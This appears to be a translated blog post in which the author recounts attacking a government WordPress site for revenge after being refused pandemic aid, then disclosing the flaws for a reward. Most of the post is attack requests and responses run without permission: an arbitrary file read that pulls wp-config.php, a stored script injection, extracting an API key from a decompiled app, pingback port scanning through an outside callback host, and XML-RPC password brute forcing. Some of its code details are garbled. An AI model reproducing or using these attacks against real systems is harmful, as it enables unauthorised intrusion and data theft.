История о том, как черная шляпа становится белой.

В начале этой пандемии не все ожидали такого результата. Слишком много людей потеряли работу. Некоторые даже разорвали любовные отношения из-за низкого дохода, который всегда вносит хаос в любую пару. Несмотря на то, что я не потерял свое рабочее место, у меня были трудности с оплатой счетов. По этой причине я обратился к своему правительству за помощью.
В отличие от США, где люди на этом наживались. Некоторые даже покупают автомобили Lamborghini. Моя страна предлагала нам только от 200 до 600 фунтов стерлингов в виде единовременного предложения. Последнее только в том случае, если у вас есть семья.

Как все начиналось

Думая, что это мое право получить некоторую помощь, я попросил у них эти 200 фунтов стерлингов. Я знаю, что это было немного, но всегда что-то лучше, чем ничего. Но, как и с любой помощью со стороны правительства, всегда есть загвоздка. Они попросили людей прислать свои формы заявки до определенного дня, что я и сделал.
Перенесемся в сентябрь, после множества телефонных звонков и электронных писем. Они ответили мне, сказав, что их помощь была ограничена лишь несколькими людьми. приложения, и мое заявление пришло слишком поздно, Явно ложь. Потому что я сделал это в тот же день, когда нам сказали это сделать. Это означает только - вы сами по себе, приятель!

Примечание. По понятным причинам я буду называть их сайт https://www.campo.gov.

Месть!

В электронном письме, которое они прислали, рассказывая мне, почему мне не помогли, они сказали мне зайти на их веб-сайт, чтобы узнать причины этого решения. На данный момент я должен быть честным. Мне было все равно, и я не хотел ничего слышать. Моя единственная мысль была - они пожалеют об этом.

Как только я начал проверять их веб-сайт, я обнаружил неподдерживаемую панель входа WordPress. Зная историю развития информационных технологий в этой стране, для меня не было неожиданностью увидеть, как сайт был заражен уязвимостями, от простого Clickjacking до XSS и RCE .

Процесс

В этом списке перечислены некоторые атаки и уязвимости, которые я обнаружил на их веб-сайте. Я обнаружил много других, но из-за их важности, отличительности, я специально их выпустил.

Расширенный менеджер доступа

До версии 5.9.9 разрешено чтение произвольных файлов без проверки, разрешено ли пользователю читать данный файл. Таким образом можно загрузить файл wp-config.php и получить доступ к базе данных, которая общедоступна на многих серверах.

https://www.campo.come/?aam-media=wp-config.php

Используя этот код, я смог загрузить их wp-config.php, что дает мне более подробную информацию, чтобы продолжать проводить более сложные атаки.

HTML-инъекция

Атаки с использованием HTML-инъекций могут использоваться для двух разных целей.

  • Чтобы изменить внешний вид отображаемого веб-сайта.
  • Чтобы украсть личность другого человека.
<html>
<body>
<script>
alert('Hello, world!');
</script>
</body>
</html>

Я разместил этот код в их поле для комментариев и сохранил его, отобразив всплывающее окно с сообщением «Hello world!» при загрузке страницы.

Эта уязвимость может позволить злоумышленникам внедрить теги html и (возможно) выполнить JavaScript, что может привести к краже сеанса пользователя.

Примечание. Я заработал 600 долларов, используя тот же метод в Atlassain.

Ключ API Карт Google

Утечка ключей API означает, что любой может и будет злоупотреблять ими. Чтобы избежать возможных проблем с завышением счетов, разработчики установили ограничения бюджета для этих API. Эти ограничения могут вызвать атаки типа «отказ в обслуживании» в соответствии с этой службой при превышении лимита.

https://maps.googleapis.com/maps/api/staticmap?center=40.714728,-73.998672&zoom=12&size=2500x2000&maptype=roadmap&key=GOOGLE_MAPS_KEY_HERE

Как я это нашел?

Я загружаю их мобильный apk для Android на свой MacBook и декомпилирую его с помощью следующих команд (Mac OS)

User@MB$ brew install apktoolUser@MB$ cd path/to/campo.apkUser@MB$ apktool d campo.apk
I: Using Apktool on campo.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: 1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

После декомпиляции apk в файле string.xml я нашел ключи карты Google. В настоящее время большинство крупных компаний не воспринимают этот отчет как ценный.

Поскольку эта компания не участвует в какой-либо программе Bug-Bounty, это будет означать, что у нее нет никаких знаний о том, как с этим справляться. Все сводится к тому, как вы к ним подходите и рассказываете об только что обнаруженной уязвимости.

XML-RPC

XML-RPC - это спецификация, которая обеспечивает связь между WordPress и другими системами. Путем стандартизации этих коммуникаций с использованием HTTP в качестве транспортного механизма и XML в качестве механизма кодирования. Основными недостатками, связанными с XML-RPC, являются атаки методом перебора. Злоумышленники могут попытаться войти в WordPress с помощью xmlrpc. php.

xmlrpc.php

Открыв это в моем браузере, я сделал запрос GET. Но мне нужен POST, используя BurpSuite, я вызвал запрос POST и получил что-то похожее на это.

Отправить запрос:

POST /xmlrpc.php HTTP/1.1
Host: campo.com
Content-Length: 480
<?xml version="2.0" encoding="utf-8"?> 
<methodCall> 
<methodName>system.listMethods</methodName> 
<params></params> 
</methodCall>

Ответ был примерно таким:

HTTP/1.1 200 OK
Date: Mon, 01 Jul 2019 17:13:30 GMT
Server: Apache
Connection: close
Content-Length: 472
Content-Type: text/xml; charset=UTF-8<?xml version="2.0" encoding="UTF-8"?>
<methodResponse>
  <params>
    <param>
      <value>
      <array><data>
  <value><string>system.multicall</string></value>
  <value><string>system.listMethods</string></value>
  <value><string>system.getCapabilities</string></value>
  <value><string>demo.addTwoNumbers</string></value>
  <value><string>demo.sayHello</string></value>
  <value><string>pingback.extensions.getPingbacks</string></value>
  <value><string>pingback.ping</string></value>
  <value><string>mt.publishPost</string></value>
  <value><string>mt.getTrackbackPings</string></value>
  <value><string>mt.supportedTextFilters</string></value>
  <value><string>mt.supportedMethods</string></value>
  <value><string>mt.setPostCategories</string></value>

Подвиги 😃

Межсайтовая атака на порт

Чтобы выполнять обратные вызовы после перечисления всех методов, я использовал следующую строку для выполнения сканирования портов, также известного как xspa (межсайтовая атака на порты).

<value><string>“pingback.ping</value></string>

requestbin предоставил мне URL в качестве обратного вызова:

POST /xmlrpc.php HTTP/1.1
Host: campo.com
Content-Length: 2348<?xml version="2.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>https://17dcbdb75.m.pipedream.net</string></value>
</param>
<param>
<value><string>https://campo.com/</string></value>
</param>
</params>
</methodCall>

Ответ:

HTTP/1.1 200 OK
Date: Mon, 01 Jul 2019 21:53:56 GMT
Server: Apache
Connection: close
Content-Length: 3970
Content-Type: text/xml; charset=UTF-8<?xml version="2.0" encoding="UTF-8"?>
<methodResponse>
  <fault>
    <value>
      <struct>
        <member>
          <name>faultCode</name>
          <value><int>0</int></value>
        </member>
        <member>
          <name>faultString</name>
          <value><string></string></value>
        </member>
      </struct>
    </value>
  </fault>
</methodResponse>

В панели вывода requestbin выводится внутренняя информация сервера.

Примечание. Чтобы это сработало, ваш ответ должен отличаться от <value><int>0</int></value>

Атака грубой силы

Использование XML-RPC для обхода ограничения или блокировки запросов при атаке методом грубой силы на их WordPress.

Запрос:

POST /xmlrpc.php HTTP/1.1
Host: campo.com
Content-Length: 235<?xml version="2.0" encoding="UTF-8"?>
<methodCall> 
<methodName>wp.getUsersBlogs</methodName> 
<params> 
<param><value>\{\{username\}\}</value></param> 
<param><value>\{\{password\}\}</value></param> 
</params> 
</methodCall>

Ответ:

Собирая информацию, я обнаружил два UserNames. Но этого было недостаточно, чтобы взломать их админку, по крайней мере, не используя этот метод.

Черная шляпа становится белой

Почему-то мне стало жаль всех людей, которые могли получить утечку своей личной информации. В конце концов, я тоже был одним из них. Я остановился и отправил электронное письмо, в котором рассказал компании обо всех своих выводах. Но как я и ожидал, они даже не ответили. После нескольких недель ожидания и открытия новых вещей я решил позвонить в компанию и поговорить с ними напрямую. Человек по телефону не понимал, о чем я говорю. Она попросила мою информацию и сказала, что постарается связать меня с людьми, поддерживающими их веб-сайт.

Только через четыре дня после этого звонка начальник службы безопасности перезвонил. Она начала расспрашивать меня о моих открытиях, о том, кто я такой и как я нашел там эти уязвимости. Через несколько минут разговора по телефону она поняла, что это что-то серьезное. И это нужно было исправить как можно скорее. Даже больше, когда всего несколько месяцев назад их самый важный веб-сайт был закрыт из-за тех же проблем.

Заключение

Прежде чем закончить наш разговор по телефону, она поблагодарила меня за то, что я сделал, за то, что я позвонил ей и сообщил своим сотрудникам об этих уязвимостях. Она еще раз поблагодарила меня и сказала, что я могу получить больше телефонных звонков с просьбой предоставить дополнительную информацию об этих ошибках. Короче говоря, через две недели после этого звонка я получил начальные 200 фунтов стерлингов плюс бонус за то, что я нашел. Этот урок только учит нас тому, что даже когда мы хотим причинить вред другим, мы можем изменить вещи к лучшему и принести пользу.